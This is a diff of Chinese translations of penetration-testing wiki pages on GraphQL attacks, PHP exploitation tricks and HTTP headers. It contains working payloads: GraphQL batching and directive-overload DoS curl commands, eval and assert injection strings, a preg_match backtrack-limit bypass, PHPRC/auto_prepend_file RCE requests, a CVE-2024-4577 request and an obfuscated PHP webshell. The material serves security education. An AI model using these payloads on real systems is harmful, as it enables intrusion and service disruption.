file:* mutation
|
||||
file:* query
|
||||
```
|
||||
## GraphQL中的CSRF
|
||||
## CSRF in GraphQL
|
||||
|
||||
如果你不知道什么是CSRF,请阅读以下页面:
|
||||
如果你不知道什么是 CSRF,请阅读以下页面:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/csrf-cross-site-request-forgery.md
|
||||
{{#endref}}
|
||||
|
||||
在外面,你将能够找到几个**未配置CSRF令牌的**GraphQL端点。
|
||||
在外面,你将能够找到几个 **未配置 CSRF 令牌的** GraphQL 端点。
|
||||
|
||||
请注意,GraphQL请求通常通过使用Content-Type **`application/json`**的POST请求发送。
|
||||
请注意,GraphQL 请求通常通过使用内容类型 **`application/json`** 的 POST 请求发送。
|
||||
```javascript
|
||||
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
|
||||
```
|
||||
@ -427,13 +427,13 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
||||
|
||||
请注意,通常也可以将 **查询** **请求** 作为 **GET** **请求** 发送,并且 CSRF 令牌可能不会在 GET 请求中进行验证。
|
||||
|
||||
此外,利用 [**XS-Search**](../../pentesting-web/xs-search/index.html) **攻击** 可能能够从 GraphQL 端点中窃取内容,利用用户的凭据。
|
||||
此外,利用 [**XS-Search**](../../pentesting-web/xs-search/index.html) **攻击** 可能能够利用用户的凭据从 GraphQL 端点提取内容。
|
||||
|
||||
有关更多信息 **请查看** [**原始帖子在这里**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)。
|
||||
|
||||
## GraphQL 中的跨站 WebSocket 劫持
|
||||
|
||||
类似于利用 GraphQL 的 CRSF 漏洞,也可以执行 **跨站 WebSocket 劫持,以利用未保护的 cookie 进行 GraphQL 身份验证**,并使用户在 GraphQL 中执行意外操作。
|
||||
类似于利用 GraphQL 的 CRSF 漏洞,也可以执行 **跨站 WebSocket 劫持以利用未保护的 cookie 进行 GraphQL 身份验证**,并使用户在 GraphQL 中执行意外操作。
|
||||
|
||||
有关更多信息,请查看:
|
||||
|
||||
@ -459,17 +459,17 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
||||
|
||||
[将查询链接](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)在一起可以绕过一个弱认证系统。
|
||||
|
||||
在下面的示例中,您可以看到操作是“forgotPassword”,并且它应该只执行与之关联的 forgotPassword 查询。通过在末尾添加一个查询可以绕过这一点,在这种情况下,我们添加“register”和一个用户变量,以便系统注册为新用户。
|
||||
在下面的示例中,您可以看到操作是 "forgotPassword",并且它应该只执行与之相关的 forgotPassword 查询。通过在末尾添加一个查询可以绕过这一点,在这种情况下,我们添加 "register" 和一个用户变量,以便系统注册为新用户。
|
||||
|
||||
<figure><img src="../../images/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## 使用 GraphQL 中的别名绕过速率限制
|
||||
|
||||
在 GraphQL 中,别名是一个强大的功能,允许在进行 API 请求时**明确命名属性**。这个能力对于在单个请求中检索**同一类型**对象的**多个实例**特别有用。别名可以用来克服 GraphQL 对象不能有多个同名属性的限制。
|
||||
在 GraphQL 中,别名是一个强大的功能,允许在进行 API 请求时**明确命名属性**。这个功能对于在单个请求中检索**同一类型**对象的**多个实例**特别有用。别名可以用来克服 GraphQL 对象不能有多个同名属性的限制。
|
||||
|
||||
要详细了解 GraphQL 别名,推荐以下资源:[Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)。
|
||||
|
||||
虽然别名的主要目的是减少大量 API 调用的必要性,但已识别出一个意外的用例,其中别名可以被利用来对 GraphQL 端点执行暴力攻击。这是可能的,因为某些端点受到速率限制器的保护,旨在通过限制**HTTP 请求的数量**来阻止暴力攻击。然而,这些速率限制器可能没有考虑到每个请求中的操作数量。鉴于别名允许在单个 HTTP 请求中包含多个查询,它们可以绕过此类速率限制措施。
|
||||
虽然别名的主要目的是减少多个 API 调用的必要性,但已识别出一个意外的用例,其中别名可以被用来对 GraphQL 端点执行暴力攻击。这是可能的,因为某些端点受到速率限制器的保护,旨在通过限制**HTTP 请求的数量**来阻止暴力攻击。然而,这些速率限制器可能没有考虑到每个请求中的操作数量。鉴于别名允许在单个 HTTP 请求中包含多个查询,它们可以绕过此类速率限制措施。
|
||||
|
||||
考虑下面提供的示例,它说明了如何使用别名查询来验证商店折扣代码的有效性。这种方法可以绕过速率限制,因为它将多个查询编译成一个 HTTP 请求,可能允许同时验证多个折扣代码。
|
||||
```bash
|
||||
@ -490,7 +490,7 @@ valid
|
||||
|
||||
### Alias Overloading
|
||||
|
||||
**Alias Overloading** 是一种 GraphQL 漏洞,攻击者通过为同一字段重载查询中的多个别名,导致后端解析器重复执行该字段。这可能会使服务器资源过载,从而导致 **Denial of Service (DoS)**。例如,在下面的查询中,同一字段 (`expensiveField`) 被请求了 1,000 次,使用别名强迫后端计算 1,000 次,可能会耗尽 CPU 或内存:
|
||||
**Alias Overloading** 是一种 GraphQL 漏洞,攻击者通过为同一字段过载查询,使用多个别名,导致后端解析器重复执行该字段。这可能会使服务器资源过载,从而导致 **Denial of Service (DoS)**。例如,在下面的查询中,同一字段 (`expensiveField`) 被请求了 1,000 次,使用别名,迫使后端计算 1,000 次,可能会耗尽 CPU 或内存:
|
||||
```graphql
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "Content-Type: application/json" \
|
||||
@ -509,11 +509,11 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
|
||||
'https://example.com/graphql'
|
||||
```
|
||||
在这个例子中,10个不同的查询被批处理成一个请求,迫使服务器同时执行所有查询。如果利用更大的批处理大小或计算开销大的查询,这可能会使服务器过载。
|
||||
在这个例子中,10个不同的查询被批量处理成一个请求,迫使服务器同时执行所有查询。如果利用更大的批量大小或计算开销大的查询,这可能会使服务器过载。
|
||||
|
||||
### **指令过载漏洞**
|
||||
|
||||
**指令过载**发生在GraphQL服务器允许带有过多重复指令的查询时。这可能会使服务器的解析器和执行器不堪重负,特别是当服务器反复处理相同的指令逻辑时。如果没有适当的验证或限制,攻击者可以通过构造一个包含大量重复指令的查询来利用这一点,从而触发高计算或内存使用,导致**服务拒绝(DoS)**。
|
||||
**指令过载**发生在GraphQL服务器允许带有过多重复指令的查询时。这可能会使服务器的解析器和执行器不堪重负,特别是当服务器反复处理相同的指令逻辑时。如果没有适当的验证或限制,攻击者可以通过构造带有大量重复指令的查询来利用这一点,从而触发高计算或内存使用,导致**服务拒绝(DoS)**。
|
||||
```bash
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
@ -521,7 +521,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
|
||||
'https://example.com/graphql'
|
||||
```
|
||||
请注意,在前面的示例中,`@aa` 是一个自定义指令,**可能未被声明**。通常存在的一个常见指令是 **`@include`**:
|
||||
请注意,在前面的示例中,`@aa` 是一个**可能未声明**的自定义指令。通常存在的一个常见指令是**`@include`**:
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
@ -553,12 +553,12 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
|
||||
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): 测试graphql端点的常见错误配置
|
||||
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): 重点进行批量GraphQL查询和变更的GraphQL安全审计脚本。
|
||||
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): 指纹识别正在使用的graphql
|
||||
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): 可用于抓取模式和搜索敏感数据、测试授权、暴力破解模式以及查找特定类型路径的工具包。
|
||||
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): 可作为独立工具或[Burp扩展](https://github.com/doyensec/inql)使用。
|
||||
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): 也可以作为CLI客户端使用以自动化攻击
|
||||
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): 列出在GraphQL模式中**到达特定类型的不同方式**的工具。
|
||||
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Standalone和CLI模式的继任者InQL
|
||||
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 用于高级GraphQL测试的Burp扩展。_**扫描器**_是InQL v5.0的核心,您可以分析GraphQL端点或本地自省模式文件。它自动生成所有可能的查询和变更,并将其组织成结构化视图以供分析。_**攻击者**_组件允许您运行批量GraphQL攻击,这对于绕过实现不佳的速率限制非常有用。
|
||||
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): 可用于抓取模式和搜索敏感数据、测试授权、暴力破解模式以及查找给定类型的路径的工具包。
|
||||
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): 可作为独立工具使用或[Burp扩展](https://github.com/doyensec/inql)。
|
||||
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): 也可以作为CLI客户端使用以自动化攻击:`python3 graphqlmap.py -u http://example.com/graphql --inject`
|
||||
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): 列出在GraphQL模式中**到达给定类型的不同方式**的工具。
|
||||
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Standalone和CLI模式的InQL的继任者
|
||||
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 用于高级GraphQL测试的Burp扩展或python脚本。_**扫描器**_是InQL v5.0的核心,您可以分析GraphQL端点或本地自省模式文件。它自动生成所有可能的查询和变更,并将其组织成结构化视图以供分析。_**攻击者**_组件允许您运行批量GraphQL攻击,这对于绕过实现不佳的速率限制非常有用:`python3 inql.py -t http://example.com/graphql -o output.json`
|
||||
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): 尝试通过使用一些Graphql数据库的帮助,即使在禁用自省的情况下也获取模式,这些数据库将建议变更和参数的名称。
|
||||
|
||||
### 客户端
|
||||
|
@ -22,7 +22,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
||||
|
||||
### 松散比较/类型转换 ( == )
|
||||
|
||||
如果在 PHP 中使用 `==`,则会出现一些意想不到的情况,比较的行为并不如预期。这是因为 "==" 只比较转换为相同类型的值,如果你还想比较被比较数据的类型是否相同,你需要使用 `===`。
|
||||
如果在 PHP 中使用 `==`,则会出现一些意外情况,比较的行为并不如预期。这是因为 "==" 只比较转换为相同类型的值,如果你还想比较被比较数据的类型是否相同,你需要使用 `===`。
|
||||
|
||||
PHP 比较表: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
||||
|
||||
@ -39,7 +39,7 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
|
||||
- `"0e12334" == "0" --> True` 这非常有趣,因为在某些情况下,你可以控制 "0" 的字符串输入以及与之进行哈希和比较的某些内容。因此,如果你可以提供一个值,该值将创建一个以 "0e" 开头且没有任何字母的哈希,你可以绕过比较。你可以在这里找到 **已经哈希的字符串**: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
- `"X" == 0 --> True` 字符串中的任何字母等于 int 0
|
||||
|
||||
更多信息请参见 [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
更多信息请见 [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
|
||||
### **in_array()**
|
||||
|
||||
@ -53,7 +53,7 @@ var_dump(in_array(0, $values, true));
|
||||
```
|
||||
### strcmp()/strcasecmp()
|
||||
|
||||
如果此函数用于 **任何身份验证检查**(例如检查密码),并且用户控制比较的一侧,他可以发送一个空数组而不是字符串作为密码的值(`https://example.com/login.php/?username=admin&password[]=`),从而绕过此检查:
|
||||
如果此函数用于 **任何身份验证检查**(如检查密码),并且用户控制比较的一侧,他可以发送一个空数组而不是字符串作为密码的值(`https://example.com/login.php/?username=admin&password[]=`),从而绕过此检查:
|
||||
```php
|
||||
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
||||
// Real Password
|
||||
@ -64,7 +64,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
|
||||
|
||||
### 严格类型转换
|
||||
|
||||
即使使用了 `===`,也可能会出现错误,使得比较容易受到类型转换的影响。例如,如果比较是在比较之前将数据转换为不同类型的对象:
|
||||
即使使用 `===`,也可能出现错误,使得比较容易受到类型转换的影响。例如,如果比较是在比较之前将数据转换为不同类型的对象:
|
||||
```php
|
||||
(int) "1abc" === (int) "1xyz" //This will be true
|
||||
```
|
||||
@ -87,7 +87,7 @@ echo preg_match("/^.*1/",$myinput);
|
||||
echo preg_match("/^.*1.*$/",$myinput);
|
||||
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
||||
```
|
||||
要绕过此检查,您可以**发送带有换行符的 URL 编码值**(`%0A`),或者如果您可以发送**JSON 数据**,则将其分成**多行**:
|
||||
要绕过此检查,您可以**使用 URL 编码发送带有换行符的值**(`%0A`),或者如果您可以发送**JSON 数据**,则将其分成**多行**发送:
|
||||
```php
|
||||
{
|
||||
"cmd": "cat /etc/passwd"
|
||||
@ -112,10 +112,10 @@ payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
|
||||
简而言之,问题发生是因为 PHP 中的 `preg_*` 函数基于 [PCRE 库](http://www.pcre.org/)。在 PCRE 中,某些正则表达式通过大量递归调用进行匹配,这会消耗大量的栈空间。可以设置允许的递归次数限制,但在 PHP 中,这个限制 [默认为 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit),这超过了栈的容量。
|
||||
|
||||
[这个 Stackoverflow 线程](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) 也在帖子中被链接,深入讨论了这个问题。我们的任务现在很明确:\
|
||||
**发送一个输入,使正则表达式进行 100_000+ 次递归,导致 SIGSEGV,使得 `preg_match()` 函数返回 `false`,从而使应用程序认为我们的输入不是恶意的,在有效负载的最后抛出一个类似 `{system(<verybadcommand>)}` 的惊喜以获取 SSTI --> RCE --> flag :)**。
|
||||
[这个 Stackoverflow 线程](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) 也在帖子中被提到,深入讨论了这个问题。我们的任务现在很明确:\
|
||||
**发送一个输入,使正则表达式进行 100_000+ 次递归,导致 SIGSEGV,使得 `preg_match()` 函数返回 `false`,从而使应用程序认为我们的输入不是恶意的,在有效负载的最后抛出一个惊喜,例如 `{system(<verybadcommand>)}` 来获取 SSTI --> RCE --> flag :)**。
|
||||
|
||||
好吧,从正则表达式的角度来看,我们实际上并不是在进行 100k 次“递归”,而是在计算“回溯步骤”,正如 [PHP 文档](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) 所述,它在 `pcre.backtrack_limit` 变量中默认为 1_000_000(1M)。\
|
||||
好吧,在正则表达式术语中,我们实际上并不是在进行 100k 次“递归”,而是在计算“回溯步骤”,正如 [PHP 文档](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) 所述,它在 `pcre.backtrack_limit` 变量中默认为 1_000_000(1M)。\
|
||||
要达到这个,`'X'*500_001` 将导致 100 万个回溯步骤(50万向前和50万向后):
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
@ -153,16 +153,17 @@ readfile($page);
|
||||
|
||||
## 更多技巧
|
||||
|
||||
- **register_globals**: 在 **PHP < 4.1.1.1** 或者如果配置错误,**register_globals** 可能是激活的(或者其行为被模拟)。这意味着在全局变量如 $\_GET 中,如果它们有值,例如 $\_GET\["param"]="1234",你可以通过 **$param 访问它。因此,通过发送 HTTP 参数,你可以覆盖在代码中使用的变量\*\*。
|
||||
- **同一域的 PHPSESSION cookies 存储在同一位置**,因此如果在一个域中 **不同路径使用不同的 cookies**,你可以使该路径 **访问该路径的 cookie**,设置其他路径 cookie 的值。\
|
||||
这样,如果 **两个路径访问同名变量**,你可以使 **路径1中的该变量的值应用于路径2**。然后路径2将视路径1的变量为有效(通过给 cookie 赋予在路径2中对应的名称)。
|
||||
- **register_globals**: 在 **PHP < 4.1.1.1** 或者如果配置错误,**register_globals** 可能是激活的(或者其行为被模仿)。这意味着在全局变量如 $\_GET 中,如果它们有值,例如 $\_GET\["param"]="1234",你可以通过 **$param 访问它。因此,通过发送 HTTP 参数,你可以覆盖在代码中使用的变量\*\*。
|
||||
- **同一域的 PHPSESSION cookies 存储在同一位置**,因此如果在一个域中 **不同的 cookies 在不同的路径中使用**,你可以使该路径 **访问该路径的 cookie**,设置其他路径 cookie 的值。\
|
||||
这样,如果 **两个路径访问同名变量**,你可以使 **路径1中的该变量的值应用于路径2**。然后路径2将认为路径1的变量是有效的(通过给 cookie 赋予在路径2中对应的名称)。
|
||||
- 当你拥有机器用户的 **用户名** 时。检查地址: **/\~\<USERNAME>** 以查看 php 目录是否被激活。
|
||||
- 如果 php 配置中有 **`register_argc_argv = On`**,那么用空格分隔的查询参数将用于填充参数数组 **`array_keys($_SERVER['argv'])`**,就像它们是 **CLI 的参数**。这很有趣,因为如果该 **设置关闭**,当从网页调用时,**args 数组的值将是 `Null`**,因为 ars 数组不会被填充。因此,如果一个网页尝试检查它是作为网页还是 CLI 工具运行,使用类似 `if (empty($_SERVER['argv'])) {` 的比较,攻击者可以在 GET 请求中发送 **参数如 `?--configPath=/lalala`**,它将认为自己是作为 CLI 运行,并可能解析和使用这些参数。更多信息请参见 [原始写作](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms)。
|
||||
- [**使用 php 包装器的 LFI 和 RCE**](../../../pentesting-web/file-inclusion/index.html)
|
||||
|
||||
### password_hash/password_verify
|
||||
|
||||
这些函数通常在 PHP 中用于 **从密码生成哈希** 并 **检查** 密码是否与哈希匹配。\
|
||||
支持的算法有:`PASSWORD_DEFAULT` 和 `PASSWORD_BCRYPT`(以 `$2y$` 开头)。请注意,**PASSWORD_DEFAULT 通常与 PASSWORD_BCRYPT 相同。** 目前,**PASSWORD_BCRYPT** 在输入上有 **72字节的大小限制**。因此,当你尝试用此算法对大于 72 字节的内容进行哈希时,仅会使用前 72B:
|
||||
这些函数通常在 PHP 中用于 **从密码生成哈希** 和 **检查** 密码是否与哈希匹配。\
|
||||
支持的算法有:`PASSWORD_DEFAULT` 和 `PASSWORD_BCRYPT`(以 `$2y$` 开头)。请注意,**PASSWORD_DEFAULT 通常与 PASSWORD_BCRYPT 相同。** 目前,**PASSWORD_BCRYPT** 在输入上有 **72字节的大小限制**。因此,当你尝试用该算法对大于 72 字节的内容进行哈希时,仅会使用前 72B:
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
False
|
||||
@ -176,16 +177,16 @@ True
|
||||
|
||||
从 [**这个推特线程**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) 你可以看到,发送超过 1000 个 GET 参数或 1000 个 POST 参数或 20 个文件时,PHOP 不会在响应中设置头部。
|
||||
|
||||
这允许绕过例如在代码中设置的 CSP 头部:
|
||||
这允许绕过例如在代码中设置的 CSP 头部,如:
|
||||
```php
|
||||
<?php
|
||||
header("Content-Security-Policy: default-src 'none';");
|
||||
if (isset($_GET["xss"])) echo $_GET["xss"];
|
||||
```
|
||||
#### 在设置头部之前填充主体
|
||||
#### 填充主体后设置头部
|
||||
|
||||
如果一个 **PHP 页面正在打印错误并回显用户提供的一些输入**,用户可以使 PHP 服务器打印出一些 **足够长的内容**,以至于当它尝试 **将头部添加** 到响应中时,服务器会抛出错误。\
|
||||
在以下场景中,**攻击者使服务器抛出了一些大错误**,正如您在屏幕上看到的,当 PHP 尝试 **修改头部信息时,它无法**(例如 CSP 头部没有发送给用户):
|
||||
在以下场景中,**攻击者使服务器抛出了一些大的错误**,正如您在屏幕上看到的,当 PHP 尝试 **修改头部信息时,它无法**(例如 CSP 头部没有发送给用户):
|
||||
|
||||
.png>)
|
||||
|
||||
@ -203,17 +204,17 @@ php-ssrf.md
|
||||
**\`ls\`;**\
|
||||
**shell_exec("ls");**
|
||||
|
||||
[查看此处以获取更多有用的 PHP 函数](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
|
||||
[查看此以获取更多有用的 PHP 函数](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
|
||||
|
||||
### **通过** **preg_replace()** **进行 RCE**
|
||||
```php
|
||||
preg_replace(pattern,replace,base)
|
||||
preg_replace("/a/e","phpinfo()","whatever")
|
||||
```
|
||||
要在“replace”参数中执行代码,至少需要一个匹配。\
|
||||
此preg_replace选项在PHP 5.5.0中已被**弃用**。
|
||||
要执行“replace”参数中的代码,至少需要一个匹配项。\
|
||||
此选项在 PHP 5.5.0 中已被**弃用**。
|
||||
|
||||
### **通过Eval()进行RCE**
|
||||
### **通过 Eval() 进行 RCE**
|
||||
```
|
||||
'.system('uname -a'); $dummy='
|
||||
'.system('uname -a');#
|
||||
@ -228,7 +229,7 @@ preg_replace("/a/e","phpinfo()","whatever")
|
||||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
```
|
||||
您需要**破坏**代码**语法**,**添加**您的**有效载荷**,然后**再修复它**。您可以使用**逻辑运算**,例如“**and"或"%26%26"或"|"**。请注意,“or”,“||”不起作用,因为如果第一个条件为真,我们的有效载荷将不会被执行。同样,“;”也不起作用,因为我们的有效载荷不会被执行。
|
||||
您需要**破坏**代码**语法**,**添加**您的**有效载荷**,然后**再修复它**。您可以使用**逻辑运算**,例如“**and**”或“%26%26”或“|”。请注意,“or”和“||”不起作用,因为如果第一个条件为真,我们的有效载荷将不会被执行。同样,“;”也不起作用,因为我们的有效载荷不会被执行。
|
||||
|
||||
**另一个选项**是将命令的执行添加到字符串中:`'.highlight_file('.passwd').'`
|
||||
|
||||
@ -265,24 +266,24 @@ usort();}phpinfo;#, "cmp");
|
||||
- `?order=id);}//`:我们收到一个 **警告**。这似乎是正确的。
|
||||
- `?order=id));}//`:我们收到一条错误消息(`Parse error: syntax error, unexpected ')' i`)。我们可能有太多的闭合括号。
|
||||
|
||||
### **通过 .httaccess 实现 RCE**
|
||||
### **通过 .httaccess 进行 RCE**
|
||||
|
||||
如果您可以 **上传** 一个 **.htaccess** 文件,那么您可以 **配置** 多个内容,甚至执行代码(配置带有 .htaccess 扩展名的文件可以被 **执行**)。
|
||||
|
||||
不同的 .htaccess shell 可以在 [这里](https://github.com/wireghoul/htshells) 找到。
|
||||
|
||||
### 通过环境变量实现 RCE
|
||||
### 通过环境变量进行 RCE
|
||||
|
||||
如果您发现一个漏洞,允许您 **修改 PHP 中的环境变量**(还有另一个漏洞可以上传文件,尽管经过更多研究可能可以绕过),您可以利用这种行为来获得 **RCE**。
|
||||
如果您发现一个漏洞,允许您 **修改 PHP 中的环境变量**(还有另一个漏洞可以上传文件,尽管经过更多研究,这可能可以绕过),您可以利用这种行为来获得 **RCE**。
|
||||
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path):此环境变量允许您在执行其他二进制文件时加载任意库(尽管在这种情况下可能不起作用)。
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path):这个环境变量允许您在执行其他二进制文件时加载任意库(尽管在这种情况下可能不适用)。
|
||||
- **`PHPRC`**:指示 PHP **在哪里查找其配置文件**,通常称为 `php.ini`。如果您可以上传自己的配置文件,则使用 `PHPRC` 指向它。添加一个 **`auto_prepend_file`** 条目,指定第二个上传的文件。这个第二个文件包含正常的 **PHP 代码,然后由 PHP 运行时在任何其他代码之前执行**。
|
||||
1. 上传一个包含我们的 shellcode 的 PHP 文件
|
||||
2. 上传第二个文件,包含一个 **`auto_prepend_file`** 指令,指示 PHP 预处理器执行我们在步骤 1 中上传的文件
|
||||
3. 将 `PHPRC` 变量设置为我们在步骤 2 中上传的文件。
|
||||
- 获取更多关于如何执行此链的信息 [**来自原始报告**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)。
|
||||
- **PHPRC** - 另一个选项
|
||||
- 如果您 **无法上传文件**,您可以在 FreeBSD 中使用 "file" `/dev/fd/0`,它包含 **`stdin`**,即发送到 `stdin` 的请求 **主体**:
|
||||
- 如果您 **无法上传文件**,您可以在 FreeBSD 中使用 "file" `/dev/fd/0`,它包含 **`stdin`**,即发送到 `stdin` 的请求的 **主体**:
|
||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
- 或者要获得 RCE,启用 **`allow_url_include`** 并预先添加一个包含 **base64 PHP 代码** 的文件:
|
||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||
@ -294,7 +295,7 @@ Web 服务器解析 HTTP 请求并将其传递给执行请求的 PHP 脚本,
|
||||
```jsx
|
||||
-d allow_url_include=1 -d auto_prepend_file=php://input
|
||||
```
|
||||
此外,由于后续的 PHP 规范化,可以使用 0xAD 字符注入 "-" 参数。检查来自 [**this post**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/) 的漏洞示例:
|
||||
此外,由于后续的 PHP 规范化,可以使用 0xAD 字符注入 "-" 参数。检查来自 [**这篇文章**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/) 的漏洞示例:
|
||||
```jsx
|
||||
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
|
||||
Host: {{host}}
|
||||
@ -309,16 +310,16 @@ phpinfo();
|
||||
?>
|
||||
|
||||
```
|
||||
## PHP Sanitization bypass & Brain Fuck
|
||||
## PHP 清理绕过与 Brain Fuck
|
||||
|
||||
[**在这篇文章中**](https://blog.redteam-pentesting.de/2024/moodle-rce/) 可以找到生成脑残 PHP 代码的好主意,允许的字符非常少。\
|
||||
此外,还提出了一种有趣的方法来执行函数,使他们能够绕过多个检查:
|
||||
[**在这篇文章中**](https://blog.redteam-pentesting.de/2024/moodle-rce/) 可以找到生成一个仅允许很少字符的 brain fuck PHP 代码的好主意。\
|
||||
此外,还提出了一种有趣的方法来执行函数,使它们能够绕过多个检查:
|
||||
```php
|
||||
(1)->{system($_GET[chr(97)])}
|
||||
```
|
||||
## PHP 静态分析
|
||||
|
||||
查看您是否可以在对这些函数的调用中插入代码(来自 [这里](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)):
|
||||
查看您是否可以在对这些函数的调用中插入代码(来自 [here](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)):
|
||||
```php
|
||||
exec, shell_exec, system, passthru, eval, popen
|
||||
unserialize, include, file_put_cotents
|
||||
@ -352,7 +353,7 @@ echo "$x ${Da}"; //Da Drums
|
||||
```
|
||||
## RCE 利用新的 $\_GET\["a"]\($\_GET\["b")
|
||||
|
||||
如果在一个页面中你可以**创建一个任意类的新对象**,你可能能够获得 RCE,查看以下页面以了解如何:
|
||||
如果在一个页面中你可以 **创建一个任意类的新对象**,你可能能够获得 RCE,查看以下页面以了解如何:
|
||||
|
||||
{{#ref}}
|
||||
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
|
||||
@ -411,7 +412,7 @@ lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
|
||||
```php
|
||||
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
|
||||
```
|
||||
### 类似 Perl
|
||||
### Perl 类似
|
||||
```php
|
||||
<?php
|
||||
$_=[];
|
||||
|
@ -35,7 +35,7 @@
|
||||
|
||||
## 逐跳头
|
||||
|
||||
逐跳头是设计用于由当前处理请求的代理处理和消费的头,而不是端到端头。
|
||||
逐跳头是设计用于由当前处理请求的代理处理和消费的头,与端到端头相对。
|
||||
|
||||
- `Connection: close, X-Forwarded-For`
|
||||
|
||||
@ -72,18 +72,19 @@
|
||||
- `Clear-Site-Data`: 指示应删除的缓存的头:`Clear-Site-Data: "cache", "cookies"`
|
||||
- `Expires`: 包含响应应过期的日期/时间:`Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
||||
